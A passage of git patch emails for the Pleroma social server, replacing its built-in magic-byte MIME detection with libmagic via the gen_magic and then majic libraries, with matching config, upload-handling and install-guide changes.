0.2", runtime: false}, {:open_api_spex, git: "https://git.pleroma.social/pleroma/elixir-libraries/open_api_spex.git", ref: "f296ac0924ba3cf79c7a588c4c252889df4c2edd"} diff --git a/test/exec_test.exs b/test/exec_test.exs new file mode 100644 index 000000000..45d3f778f --- /dev/null +++ b/test/exec_test.exs @@ -0,0 +1,13 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.ExecTest do + alias Pleroma.Exec + + use Pleroma.DataCase + + test "it starts" do + assert {:ok, _} = Exec.ensure_started() + end +end -- cgit v1.2.3 From 0e23138b50f1fdd9ea78df31eec1b3caac905e2c Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Fri, 22 May 2020 10:35:48 +0300 Subject: [#2497] Specified SHELL in .gitlab-ci.yml as required for `exexec`. --- .gitlab-ci.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml index 14300f3bf..e596aa0ec 100644 --- a/.gitlab-ci.yml +++ b/.gitlab-ci.yml @@ -6,6 +6,7 @@ variables: &global_variables POSTGRES_PASSWORD: postgres DB_HOST: postgres MIX_ENV: test + SHELL: /bin/sh USER: root cache: &global_cache_policy -- cgit v1.2.3 From ec1452fd1cdb9cb1db9b8bad872916d3213489e2 Mon Sep 17 00:00:00 2001 From: href Date: Thu, 14 May 2020 21:36:31 +0200 Subject: Pleroma.MIME: use gen_magic --- .gitlab-ci.yml | 2 + CHANGELOG.md | 1 + config/config.exs | 2 + config/description.exs | 14 ++++++ docs/installation/alpine_linux_en.md | 1 + docs/installation/arch_linux_en.md | 1 + docs/installation/debian_based_en.md | 1 + docs/installation/gentoo_en.md | 1 + docs/installation/otp_en.md | 5 ++- lib/pleroma/application.ex | 1 + lib/pleroma/mime.ex | 84 ++++++++++-------------------------- mix.exs | 1 + mix.lock | 2 + 13 files changed, 52 insertions(+), 64 deletions(-) diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml index aad28a2d8..685106969 100644 --- a/.gitlab-ci.yml +++ b/.gitlab-ci.yml @@ -24,6 +24,8 @@ stages: before_script: - mix local.hex --force - mix local.rebar --force + - apt-get -qq update + - apt-get install -y libmagic-dev build: stage: build diff --git a/CHANGELOG.md b/CHANGELOG.md index d2629bf84..8925f31f6 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,6 +8,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ### Changed - MFR policy to set global expiration for all local Create activities - OGP rich media parser merged with TwitterCard +- **Breaking** Requires `libmagic` (or `file`) to guess file types.
API Changes - **Breaking:** Emoji API: changed methods and renamed routes. diff --git a/config/config.exs b/config/config.exs index 6a7bb9e06..65aa8643e 100644 --- a/config/config.exs +++ b/config/config.exs @@ -678,6 +678,8 @@ timeout: 300_000 ] +config :pleroma, :gen_magic_pool, size: 2 + config :pleroma, :restrict_unauthenticated, timelines: %{local: false, federated: false}, profiles: %{local: false, remote: false}, diff --git a/config/description.exs b/config/description.exs index b21d7840c..a318afbe6 100644 --- a/config/description.exs +++ b/config/description.exs @@ -3325,5 +3325,19 @@ suggestions: [false] } ] + }, + %{ + group: :pleroma, + key: :gen_magic_pool, + type: :group, + description: "GenMagic/libmagic configuration", + children: [ + %{ + key: :size, + type: :integer, + description: "Number of gen_magic workers to start.", + suggestions: [2] + } + ] } ] diff --git a/docs/installation/alpine_linux_en.md b/docs/installation/alpine_linux_en.md index 2a9b8f6ff..1d503ff9f 100644 --- a/docs/installation/alpine_linux_en.md +++ b/docs/installation/alpine_linux_en.md @@ -13,6 +13,7 @@ It assumes that you have administrative rights, either as root or a user with [s * `erlang-parsetools` * `erlang-xmerl` * `git` +* `file-dev` * Development Tools #### Optional packages used in this guide diff --git a/docs/installation/arch_linux_en.md b/docs/installation/arch_linux_en.md index 8370986ad..428ed6bd7 100644 --- a/docs/installation/arch_linux_en.md +++ b/docs/installation/arch_linux_en.md @@ -9,6 +9,7 @@ This guide will assume that you have administrative rights, either as root or a * `elixir` * `git` * `base-devel` +* `file` #### Optional packages used in this guide diff --git a/docs/installation/debian_based_en.md b/docs/installation/debian_based_en.md index 2c20d521a..21e89d1a0 100644 --- a/docs/installation/debian_based_en.md +++ b/docs/installation/debian_based_en.md @@ -10,6 +10,7 @@ This guide will assume you are on Debian Stretch. This guide should also work wi * `elixir` (1.8+, Follow the guide to install from the Erlang Solutions repo or use [asdf](https://github.com/asdf-vm/asdf) as the pleroma user) * `erlang-dev` * `erlang-nox` +* `libmagic-dev` * `git` * `build-essential` diff --git a/docs/installation/gentoo_en.md b/docs/installation/gentoo_en.md index 1e61373cc..e936469d0 100644 --- a/docs/installation/gentoo_en.md +++ b/docs/installation/gentoo_en.md @@ -28,6 +28,7 @@ Gentoo quite pointedly does not come with a cron daemon installed, and as such i * `dev-db/postgresql` * `dev-lang/elixir` * `dev-vcs/git` +* `sys-apps/file` #### Optional ebuilds used in this guide diff --git a/docs/installation/otp_en.md b/docs/installation/otp_en.md index 86135cd20..0cad29bc8 100644 --- a/docs/installation/otp_en.md +++ b/docs/installation/otp_en.md @@ -27,15 +27,16 @@ Other than things bundled in the OTP release Pleroma depends on: * PostgreSQL (also utilizes extensions in postgresql-contrib) * nginx (could be swapped with another reverse proxy but this guide covers only it) * certbot (for Let's Encrypt certificates, could be swapped with another ACME client, but this guide covers only it) +* libmagic/file ```sh tab="Alpine" echo "http://nl.alpinelinux.org/alpine/latest-stable/community" >> /etc/apk/repositories apk update -apk add curl unzip ncurses postgresql postgresql-contrib nginx certbot +apk add curl unzip ncurses postgresql postgresql-contrib nginx certbot libmagic ``` ```sh tab="Debian/Ubuntu" -apt install curl unzip libncurses5 postgresql postgresql-contrib nginx certbot +apt install curl unzip libncurses5 postgresql postgresql-contrib nginx certbot libmagic ``` ## Setup diff --git a/lib/pleroma/application.ex b/lib/pleroma/application.ex index 9d3d92b38..c74255629 100644 --- a/lib/pleroma/application.ex +++ b/lib/pleroma/application.ex @@ -80,6 +80,7 @@ def start(_type, _args) do [ Pleroma.Stats, Pleroma.JobQueueMonitor, + Pleroma.MIME, {Oban, Config.get(Oban)} ] ++ task_children(@env) ++ diff --git a/lib/pleroma/mime.ex b/lib/pleroma/mime.ex index 6ee055f50..3b406630e 100644 --- a/lib/pleroma/mime.ex +++ b/lib/pleroma/mime.ex @@ -6,8 +6,21 @@ defmodule Pleroma.MIME do @moduledoc """ Returns the mime-type of a binary and optionally a normalized file-name. """ - @default "application/octet-stream" @read_bytes 35 + @pool __MODULE__.GenMagicPool + + def child_spec(_) do + pool_size = Pleroma.Config.get!([:gen_magic_pool, :size]) + name = @pool + + %{ + id: __MODULE__, + start: {GenMagic.Pool, :start_link, [[name: name, pool_size: pool_size]]}, + type: :worker, + restart: :permanent, + shutdown: 500 + } + end @spec file_mime_type(String.t(), String.t()) :: {:ok, content_type :: String.t(), filename :: String.t()} | {:error, any()} | :error @@ -20,9 +33,10 @@ def file_mime_type(path, filename) do @spec file_mime_type(String.t()) :: {:ok, String.t()} | {:error, any()} | :error def file_mime_type(filename) do - File.open(filename, [:read], fn f -> - check_mime_type(IO.binread(f, @read_bytes)) - end) + case GenMagic.Pool.perform(@pool, filename) do + {:ok, %GenMagic.Result{mime_type: content_type}} -> {:ok, content_type} + error -> error + end end def bin_mime_type(binary, filename) do @@ -34,13 +48,14 @@ def bin_mime_type(binary, filename) do @spec bin_mime_type(binary()) :: {:ok, String.t()} | :error def bin_mime_type(<>) do - {:ok, check_mime_type(head)} + case GenMagic.Pool.perform(@pool, {:bytes, head}) do + {:ok, %GenMagic.Result{mime_type: content_type}} -> {:ok, content_type} + error -> error + end end def bin_mime_type(_), do: :error - def mime_type(<<_::binary>>), do: {:ok, @default} - defp fix_extension(filename, content_type) do parts = String.split(filename, ".") @@ -62,59 +77,4 @@ defp fix_extension(filename, content_type) do Enum.join([new_filename, String.split(content_type, "/") |> List.last()], ".") end end - - defp check_mime_type(<<0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A, _::binary>>) do - "image/png" - end - - defp check_mime_type(<<0x47, 0x49, 0x46, 0x38, _, 0x61, _::binary>>) do - "image/gif" - end - - defp check_mime_type(<<0xFF, 0xD8, 0xFF, _::binary>>) do - "image/jpeg" - end - - defp check_mime_type(<<0x1A, 0x45, 0xDF, 0xA3, _::binary>>) do - "video/webm" - end - - defp check_mime_type(<<0x00, 0x00, 0x00, _, 0x66, 0x74, 0x79, 0x70, _::binary>>) do - "video/mp4" - end - - defp check_mime_type(<<0x49, 0x44, 0x33, _::binary>>) do - "audio/mpeg" - end - - defp check_mime_type(<<255, 251, _, 68, 0, 0, 0, 0, _::binary>>) do - "audio/mpeg" - end - - defp check_mime_type( - <<0x4F, 0x67, 0x67, 0x53, 0x00, 0x02, 0x00, 0x00, _::size(160), 0x80, 0x74, 0x68, 0x65, - 0x6F, 0x72, 0x61, _::binary>> - ) do - "video/ogg" - end - - defp check_mime_type(<<0x4F, 0x67, 0x67, 0x53, 0x00, 0x02, 0x00, 0x00, _::binary>>) do - "audio/ogg" - end - - defp check_mime_type(<<"RIFF", _::binary-size(4), "WAVE", _::binary>>) do - "audio/wav" - end - - defp check_mime_type(<<"RIFF", _::binary-size(4), "WEBP", _::binary>>) do - "image/webp" - end - - defp check_mime_type(<<"RIFF", _::binary-size(4), "AVI.", _::binary>>) do - "video/avi" - end - - defp check_mime_type(_) do - @default - end end diff --git a/mix.exs b/mix.exs index 03b060bc0..2d7e16e94 100644 --- a/mix.exs +++ b/mix.exs @@ -197,6 +197,7 @@ defp deps do ref: "e0f16822d578866e186a0974d65ad58cddc1e2ab"}, {:mox, "~> 0.5", only: :test}, {:restarter, path: "./restarter"}, + {:gen_magic, git: "https://github.com/hrefhref/gen_magic", branch: "develop"}, {:open_api_spex, git: "https://git.pleroma.social/pleroma/elixir-libraries/open_api_spex.git", ref: "f296ac0924ba3cf79c7a588c4c252889df4c2edd"} diff --git a/mix.lock b/mix.lock index 5383c2c6e..7b7f3c934 100644 --- a/mix.lock +++ b/mix.lock @@ -45,6 +45,7 @@ "fast_sanitize": {:hex, :fast_sanitize, "0.1.7", "2a7cd8734c88a2de6de55022104f8a3b87f1fdbe8bbf131d9049764b53d50d0d", [:mix], [{:fast_html, "~> 1.0", [hex: :fast_html, repo: "hexpm", optional: false]}, {:plug, "~> 1.8", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm", "f39fe8ea08fbac17487c30bf09b7d9f3e12472e51fb07a88ffeb8fd17da8ab67"}, "flake_id": {:hex, :flake_id, "0.1.0", "7716b086d2e405d09b647121a166498a0d93d1a623bead243e1f74216079ccb3", [:mix], [{:base62, "~> 1.2", [hex: :base62, repo: "hexpm", optional: false]}, {:ecto, ">= 2.0.0", [hex: :ecto, repo: "hexpm", optional: true]}], "hexpm", "31fc8090fde1acd267c07c36ea7365b8604055f897d3a53dd967658c691bd827"}, "floki": {:hex, :floki, "0.25.0", "b1c9ddf5f32a3a90b43b76f3386ca054325dc2478af020e87b5111c19f2284ac", [:mix], [{:html_entities, "~> 0.5.0", [hex: :html_entities, repo: "hexpm", optional: false]}], "hexpm", "631f4e627c46d5ecd347df5a2accdaf0621c77c3693c5b75a8ad58e84c61f242"}, + "gen_magic": {:git, "https://github.com/hrefhref/gen_magic", "eafdc2ea156433ccd87d1d99eaf1be758064a1db", [branch: "develop"]}, "gen_smtp": {:hex, :gen_smtp, "0.15.0", "9f51960c17769b26833b50df0b96123605a8024738b62db747fece14eb2fbfcc", [:rebar3], [], "hexpm", "29bd14a88030980849c7ed2447b8db6d6c9278a28b11a44cafe41b791205440f"}, "gen_stage": {:hex, :gen_stage, "0.14.3", "d0c66f1c87faa301c1a85a809a3ee9097a4264b2edf7644bf5c123237ef732bf", [:mix], [], "hexpm"}, "gen_state_machine": {:hex, :gen_state_machine, "2.0.5", "9ac15ec6e66acac994cc442dcc2c6f9796cf380ec4b08267223014be1c728a95", [:mix], [], "hexpm"}, @@ -74,6 +75,7 @@ "mox": {:hex, :mox, "0.5.1", "f86bb36026aac1e6f924a4b6d024b05e9adbed5c63e8daa069bd66fb3292165b", [:mix], [], "hexpm", "052346cf322311c49a0f22789f3698eea030eec09b8c47367f0686ef2634ae14"}, "myhtmlex": {:git, "https://git.pleroma.social/pleroma/myhtmlex.git", "ad0097e2f61d4953bfef20fb6abddf23b87111e6", [ref: "ad0097e2f61d4953bfef20fb6abddf23b87111e6", submodules: true]}, "nimble_parsec": {:hex, :nimble_parsec, "0.5.3", "def21c10a9ed70ce22754fdeea0810dafd53c2db3219a0cd54cf5526377af1c6", [:mix], [], "hexpm", "589b5af56f4afca65217a1f3eb3fee7e79b09c40c742fddc1c312b3ac0b3399f"}, + "nimble_pool": {:hex, :nimble_pool, "0.1.0", "ffa9d5be27eee2b00b0c634eb649aa27f97b39186fec3c493716c2a33e784ec6", [:mix], [], "hexpm", "343a1eaa620ddcf3430a83f39f2af499fe2370390d4f785cd475b4df5acaf3f9"}, "nodex": {:git, "https://git.pleroma.social/pleroma/nodex", "cb6730f943cfc6aad674c92161be23a8411f15d1", [ref: "cb6730f943cfc6aad674c92161be23a8411f15d1"]}, "oban": {:hex, :oban, "1.2.0", "7cca94d341be43d220571e28f69131c4afc21095b25257397f50973d3fc59b07", [:mix], [{:ecto_sql, "~> 3.1", [hex: :ecto_sql, repo: "hexpm", optional: false]}, {:jason, "~> 1.1", [hex: :jason, repo: "hexpm", optional: false]}, {:postgrex, "~> 0.14", [hex: :postgrex, repo: "hexpm", optional: false]}, {:telemetry, "~> 0.4", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "ba5f8b3f7d76967b3e23cf8014f6a13e4ccb33431e4808f036709a7f822362ee"}, "open_api_spex": {:git, "https://git.pleroma.social/pleroma/elixir-libraries/open_api_spex.git", "f296ac0924ba3cf79c7a588c4c252889df4c2edd", [ref: "f296ac0924ba3cf79c7a588c4c252889df4c2edd"]}, -- cgit v1.2.3 From f124f6820582d50be83ba7a1709b14ce8ee1abcc Mon Sep 17 00:00:00 2001 From: href Date: Tue, 16 Jun 2020 15:11:45 +0200 Subject: Switch from gen_magic to majic, use Majic.Plug, remove Pleroma.MIME --- config/config.exs | 2 +- config/description.exs | 6 +- docs/installation/alpine_linux_en.md | 2 +- docs/installation/arch_linux_en.md | 2 +- docs/installation/debian_based_en.md | 2 +- docs/installation/debian_based_jp.md | 3 +- docs/installation/gentoo_en.md | 2 +- docs/installation/otp_en.md | 4 +- lib/pleroma/application.ex | 2 +- lib/pleroma/mime.ex | 80 ---------------------- lib/pleroma/upload.ex | 19 ++--- .../web/activity_pub/activity_pub_controller.ex | 2 + .../mastodon_api/controllers/media_controller.ex | 1 + .../pleroma_api/controllers/account_controller.ex | 5 ++ .../pleroma_api/controllers/mascot_controller.ex | 10 +-- mix.exs | 2 +- mix.lock | 1 + test/upload_test.exs | 66 +++++------------- .../activity_pub/activity_pub_controller_test.exs | 5 +- test/web/activity_pub/object_validator_test.exs | 2 +- 20 files changed, 60 insertions(+), 158 deletions(-) delete mode 100644 lib/pleroma/mime.ex diff --git a/config/config.exs b/config/config.exs index 65aa8643e..f58b99faa 100644 --- a/config/config.exs +++ b/config/config.exs @@ -678,7 +678,7 @@ timeout: 300_000 ] -config :pleroma, :gen_magic_pool, size: 2 +config :pleroma, :majic_pool, size: 2 config :pleroma, :restrict_unauthenticated, timelines: %{local: false, federated: false}, diff --git a/config/description.exs b/config/description.exs index a318afbe6..2afc5e366 100644 --- a/config/description.exs +++ b/config/description.exs @@ -3328,14 +3328,14 @@ }, %{ group: :pleroma, - key: :gen_magic_pool, + key: :majic_pool, type: :group, - description: "GenMagic/libmagic configuration", + description: "Majic/libmagic configuration", children: [ %{ key: :size, type: :integer, - description: "Number of gen_magic workers to start.", + description: "Number of majic workers to start.", suggestions: [2] } ] diff --git a/docs/installation/alpine_linux_en.md b/docs/installation/alpine_linux_en.md index 1d503ff9f..d3b3e8279 100644 --- a/docs/installation/alpine_linux_en.md +++ b/docs/installation/alpine_linux_en.md @@ -40,7 +40,7 @@ sudo apk upgrade * Install some tools, which are needed later: ```shell -sudo apk add git build-base +sudo apk add git build-base file-dev ``` ### Install Elixir and Erlang diff --git a/docs/installation/arch_linux_en.md b/docs/installation/arch_linux_en.md index 428ed6bd7..36ef3e345 100644 --- a/docs/installation/arch_linux_en.md +++ b/docs/installation/arch_linux_en.md @@ -27,7 +27,7 @@ sudo pacman -Syu * Install some of the above mentioned programs: ```shell -sudo pacman -S git base-devel elixir +sudo pacman -S git base-devel elixir file ``` ### Install PostgreSQL diff --git a/docs/installation/debian_based_en.md b/docs/installation/debian_based_en.md index 21e89d1a0..9357df5d2 100644 --- a/docs/installation/debian_based_en.md +++ b/docs/installation/debian_based_en.md @@ -31,7 +31,7 @@ sudo apt full-upgrade * Install some of the above mentioned programs: ```shell -sudo apt install git build-essential postgresql postgresql-contrib +sudo apt install git build-essential postgresql postgresql-contrib libmagic-devel ``` ### Install Elixir and Erlang diff --git a/docs/installation/debian_based_jp.md b/docs/installation/debian_based_jp.md index 1e5a9be91..21cd4d2ad 100644 --- a/docs/installation/debian_based_jp.md +++ b/docs/installation/debian_based_jp.md @@ -16,6 +16,7 @@ - `erlang-nox` - `git` - `build-essential` +- `libmagic-dev` #### このガイドで利用している追加パッケージ @@ -32,7 +33,7 @@ sudo apt full-upgrade * 上記に挙げたパッケージをインストールしておきます。 ``` -sudo apt install git build-essential postgresql postgresql-contrib +sudo apt install git build-essential postgresql postgresql-contrib libmagic-dev ``` diff --git a/docs/installation/gentoo_en.md b/docs/installation/gentoo_en.md index e936469d0..d143e068f 100644 --- a/docs/installation/gentoo_en.md +++ b/docs/installation/gentoo_en.md @@ -47,7 +47,7 @@ Gentoo quite pointedly does not come with a cron daemon installed, and as such i * Emerge all required the required and suggested software in one go: ```shell - # emerge --ask dev-db/postgresql dev-lang/elixir dev-vcs/git www-servers/nginx app-crypt/certbot app-crypt/certbot-nginx + # emerge --ask dev-db/postgresql dev-lang/elixir dev-vcs/git www-servers/nginx app-crypt/certbot app-crypt/certbot-nginx sys-apps/file ``` If you would not like to install the optional packages, remove them from this line. diff --git a/docs/installation/otp_en.md b/docs/installation/otp_en.md index 0cad29bc8..e086cc1c4 100644 --- a/docs/installation/otp_en.md +++ b/docs/installation/otp_en.md @@ -32,11 +32,11 @@ Other than things bundled in the OTP release Pleroma depends on: ```sh tab="Alpine" echo "http://nl.alpinelinux.org/alpine/latest-stable/community" >> /etc/apk/repositories apk update -apk add curl unzip ncurses postgresql postgresql-contrib nginx certbot libmagic +apk add curl unzip ncurses postgresql postgresql-contrib nginx certbot file-dev ``` ```sh tab="Debian/Ubuntu" -apt install curl unzip libncurses5 postgresql postgresql-contrib nginx certbot libmagic +apt install curl unzip libncurses5 postgresql postgresql-contrib nginx certbot libmagic-dev ``` ## Setup diff --git a/lib/pleroma/application.ex b/lib/pleroma/application.ex index c74255629..9c74fa00e 100644 --- a/lib/pleroma/application.ex +++ b/lib/pleroma/application.ex @@ -80,7 +80,7 @@ def start(_type, _args) do [ Pleroma.Stats, Pleroma.JobQueueMonitor, - Pleroma.MIME, + {Majic.Pool, [name: Pleroma.MajicPool, pool_size: Config.get([:majic_pool, :size], 2)]}, {Oban, Config.get(Oban)} ] ++ task_children(@env) ++ diff --git a/lib/pleroma/mime.ex b/lib/pleroma/mime.ex deleted file mode 100644 index 3b406630e..000000000 --- a/lib/pleroma/mime.ex +++ /dev/null @@ -1,80 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.MIME do - @moduledoc """ - Returns the mime-type of a binary and optionally a normalized file-name. - """ - @read_bytes 35 - @pool __MODULE__.GenMagicPool - - def child_spec(_) do - pool_size = Pleroma.Config.get!([:gen_magic_pool, :size]) - name = @pool - - %{ - id: __MODULE__, - start: {GenMagic.Pool, :start_link, [[name: name, pool_size: pool_size]]}, - type: :worker, - restart: :permanent, - shutdown: 500 - } - end - - @spec file_mime_type(String.t(), String.t()) :: - {:ok, content_type :: String.t(), filename :: String.t()} | {:error, any()} | :error - def file_mime_type(path, filename) do - with {:ok, content_type} <- file_mime_type(path), - filename <- fix_extension(filename, content_type) do - {:ok, content_type, filename} - end - end - - @spec file_mime_type(String.t()) :: {:ok, String.t()} | {:error, any()} | :error - def file_mime_type(filename) do - case GenMagic.Pool.perform(@pool, filename) do - {:ok, %GenMagic.Result{mime_type: content_type}} -> {:ok, content_type} - error -> error - end - end - - def bin_mime_type(binary, filename) do - with {:ok, content_type} <- bin_mime_type(binary), - filename <- fix_extension(filename, content_type) do - {:ok, content_type, filename} - end - end - - @spec bin_mime_type(binary()) :: {:ok, String.t()} | :error - def bin_mime_type(<>) do - case GenMagic.Pool.perform(@pool, {:bytes, head}) do - {:ok, %GenMagic.Result{mime_type: content_type}} -> {:ok, content_type} - error -> error - end - end - - def bin_mime_type(_), do: :error - - defp fix_extension(filename, content_type) do - parts = String.split(filename, ".") - - new_filename = - if length(parts) > 1 do - Enum.drop(parts, -1) |> Enum.join(".") - else - Enum.join(parts) - end - - cond do - content_type == "application/octet-stream" -> - filename - - ext = List.first(MIME.extensions(content_type)) -> - new_filename <> "." <> ext - - true -> - Enum.join([new_filename, String.split(content_type, "/") |> List.last()], ".") - end - end -end diff --git a/lib/pleroma/upload.ex b/lib/pleroma/upload.ex index 797555bff..a0ba2f4c0 100644 --- a/lib/pleroma/upload.ex +++ b/lib/pleroma/upload.ex @@ -57,6 +57,7 @@ defmodule Pleroma.Upload do defstruct [:id, :name, :tempfile, :content_type, :path] @spec store(source, options :: [option()]) :: {:ok, Map.t()} | {:error, any()} + @doc "Store a file. If using a `Plug.Upload{}` as the source, be sure to use `Majic.Plug` to ensure its content_type and filename is correct." def store(upload, opts \\ []) do opts = get_opts(opts) @@ -123,14 +124,13 @@ defp get_opts(opts) do end defp prepare_upload(%Plug.Upload{} = file, opts) do - with :ok <- check_file_size(file.path, opts.size_limit), - {:ok, content_type, name} <- Pleroma.MIME.file_mime_type(file.path, file.filename) do + with :ok <- check_file_size(file.path, opts.size_limit) do {:ok, %__MODULE__{ id: UUID.generate(), - name: name, + name: file.filename, tempfile: file.path, - content_type: content_type + content_type: file.content_type }} end end @@ -138,16 +138,17 @@ defp prepare_upload(%Plug.Upload{} = file, opts) do defp prepare_upload(%{img: "data:image/" <> image_data}, opts) do parsed = Regex.named_captures(~r/(?jpeg|png|gif);base64,(?.*)/, image_data) data = Base.decode64!(parsed["data"], ignore: :whitespace) - hash = String.downcase(Base.encode16(:crypto.hash(:sha256, data))) + hash = Base.encode16(:crypto.hash(:sha256, data), lower: true) with :ok <- check_binary_size(data, opts.size_limit), tmp_path <- tempfile_for_image(data), - {:ok, content_type, name} <- - Pleroma.MIME.bin_mime_type(data, hash <> "." <> parsed["filetype"]) do + {:ok, %{mime_type: content_type}} <- + Majic.perform({:bytes, data}, pool: Pleroma.MajicPool), + [ext | _] <- MIME.extensions(content_type) do {:ok, %__MODULE__{ id: UUID.generate(), - name: name, + name: hash <> "." <> ext, tempfile: tmp_path, content_type: content_type }} @@ -156,7 +157,7 @@ defp prepare_upload(%{img: "data:image/" <> image_data}, opts) do # For Mix.Tasks.MigrateLocalUploads defp prepare_upload(%__MODULE__{tempfile: path} = upload, _opts) do - with {:ok, content_type} <- Pleroma.MIME.file_mime_type(path) do + with {:ok, %{mime_type: content_type}} <- Majic.perform(path, pool: Pleroma.MajicPool) do {:ok, %__MODULE__{upload | content_type: content_type}} end end diff --git a/lib/pleroma/web/activity_pub/activity_pub_controller.ex b/lib/pleroma/web/activity_pub/activity_pub_controller.ex index f0b5c6e93..e2a5fb9e9 100644 --- a/lib/pleroma/web/activity_pub/activity_pub_controller.ex +++ b/lib/pleroma/web/activity_pub/activity_pub_controller.ex @@ -45,6 +45,8 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubController do when action in [:read_inbox, :update_outbox, :whoami, :upload_media] ) + plug(Majic.Plug, [pool: Pleroma.MajicPool] when action in [:upload_media]) + plug( Pleroma.Plugs.Cache, [query_params: false, tracking_fun: &__MODULE__.track_object_fetch/2] diff --git a/lib/pleroma/web/mastodon_api/controllers/media_controller.ex b/lib/pleroma/web/mastodon_api/controllers/media_controller.ex index 513de279f..06bb718ef 100644 --- a/lib/pleroma/web/mastodon_api/controllers/media_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/media_controller.ex @@ -16,6 +16,7 @@ defmodule Pleroma.Web.MastodonAPI.MediaController do plug(OAuthScopesPlug, %{scopes: ["read:media"]} when action == :show) plug(OAuthScopesPlug, %{scopes: ["write:media"]} when action != :show) + plug(Majic.Plug, [pool: Pleroma.MajicPool] when action in [:create, :create2]) defdelegate open_api_operation(action), to: Pleroma.Web.ApiSpec.MediaOperation diff --git a/lib/pleroma/web/pleroma_api/controllers/account_controller.ex b/lib/pleroma/web/pleroma_api/controllers/account_controller.ex index f3554d919..97a6ae60d 100644 --- a/lib/pleroma/web/pleroma_api/controllers/account_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/account_controller.ex @@ -56,6 +56,11 @@ defmodule Pleroma.Web.PleromaAPI.AccountController do plug(:assign_account_by_id when action in [:favourites, :subscribe, :unsubscribe]) plug(:put_view, Pleroma.Web.MastodonAPI.AccountView) + plug( + Majic.Plug, + [pool: Pleroma.MajicPool] when action in [:update_avatar, :update_background, :update_banner] + ) + defdelegate open_api_operation(action), to: Pleroma.Web.ApiSpec.PleromaAccountOperation @doc "POST /api/v1/pleroma/accounts/confirmation_resend" diff --git a/lib/pleroma/web/pleroma_api/controllers/mascot_controller.ex b/lib/pleroma/web/pleroma_api/controllers/mascot_controller.ex index df6c50ca5..4ba4154dd 100644 --- a/lib/pleroma/web/pleroma_api/controllers/mascot_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/mascot_controller.ex @@ -12,6 +12,7 @@ defmodule Pleroma.Web.PleromaAPI.MascotController do plug(Pleroma.Web.ApiSpec.CastAndValidate) plug(OAuthScopesPlug, %{scopes: ["read:accounts"]} when action == :show) plug(OAuthScopesPlug, %{scopes: ["write:accounts"]} when action != :show) + plug(Majic.Plug, [pool: Pleroma.MajicPool] when action in [:update]) defdelegate open_api_operation(action), to: Pleroma.Web.ApiSpec.PleromaMascotOperation @@ -22,14 +23,15 @@ def show(%{assigns: %{user: user}} = conn, _params) do @doc "PUT /api/v1/pleroma/mascot" def update(%{assigns: %{user: user}, body_params: %{file: file}} = conn, _) do - with {:ok, object} <- ActivityPub.upload(file, actor: User.ap_id(user)), - # Reject if not an image - %{type: "image"} = attachment <- render_attachment(object) do + with {:content_type, "image" <> _} <- {:content_type, file.content_type}, + {:ok, object} <- ActivityPub.upload(file, actor: User.ap_id(user)) do + attachment = render_attachment(object) {:ok, _user} = User.mascot_update(user, attachment) json(conn, attachment) else - %{type: _} -> render_error(conn, :unsupported_media_type, "mascots can only be images") + {:content_type, _} -> + render_error(conn, :unsupported_media_type, "mascots can only be images") end end diff --git a/mix.exs b/mix.exs index 2d7e16e94..8fcbaa34e 100644 --- a/mix.exs +++ b/mix.exs @@ -197,7 +197,7 @@ defp deps do ref: "e0f16822d578866e186a0974d65ad58cddc1e2ab"}, {:mox, "~> 0.5", only: :test}, {:restarter, path: "./restarter"}, - {:gen_magic, git: "https://github.com/hrefhref/gen_magic", branch: "develop"}, + {:majic, git: "https://github.com/hrefhref/majic", branch: "develop"}, {:open_api_spex, git: "https://git.pleroma.social/pleroma/elixir-libraries/open_api_spex.git", ref: "f296ac0924ba3cf79c7a588c4c252889df4c2edd"} diff --git a/mix.lock b/mix.lock index 7b7f3c934..8ff41ebf6 100644 --- a/mix.lock +++ b/mix.lock @@ -63,6 +63,7 @@ "jose": {:hex, :jose, "1.10.1", "16d8e460dae7203c6d1efa3f277e25b5af8b659febfc2f2eb4bacf87f128b80a", [:mix, :rebar3], [], "hexpm", "3c7ddc8a9394b92891db7c2771da94bf819834a1a4c92e30857b7d582e2f8257"}, "jumper": {:hex, :jumper, "1.0.1", "3c00542ef1a83532b72269fab9f0f0c82bf23a35e27d278bfd9ed0865cecabff", [:mix], [], "hexpm", "318c59078ac220e966d27af3646026db9b5a5e6703cb2aa3e26bcfaba65b7433"}, "libring": {:hex, :libring, "1.4.0", "41246ba2f3fbc76b3971f6bce83119dfec1eee17e977a48d8a9cfaaf58c2a8d6", [:mix], [], "hexpm"}, + "majic": {:git, "https://github.com/hrefhref/majic", "1c723300364cd014866c6c1bd5260e03965865a2", [branch: "develop"]}, "makeup": {:hex, :makeup, "1.0.0", "671df94cf5a594b739ce03b0d0316aa64312cee2574b6a44becb83cd90fb05dc", [:mix], [{:nimble_parsec, "~> 0.5.0", [hex: :nimble_parsec, repo: "hexpm", optional: false]}], "hexpm", "a10c6eb62cca416019663129699769f0c2ccf39428b3bb3c0cb38c718a0c186d"}, "makeup_elixir": {:hex, :makeup_elixir, "0.14.0", "cf8b7c66ad1cff4c14679698d532f0b5d45a3968ffbcbfd590339cb57742f1ae", [:mix], [{:makeup, "~> 1.0", [hex: :makeup, repo: "hexpm", optional: false]}], "hexpm", "d4b316c7222a85bbaa2fd7c6e90e37e953257ad196dc229505137c5e505e9eff"}, "meck": {:hex, :meck, "0.8.13", "ffedb39f99b0b99703b8601c6f17c7f76313ee12de6b646e671e3188401f7866", [:rebar3], [], "hexpm", "d34f013c156db51ad57cc556891b9720e6a1c1df5fe2e15af999c84d6cebeb1a"}, diff --git a/test/upload_test.exs b/test/upload_test.exs index 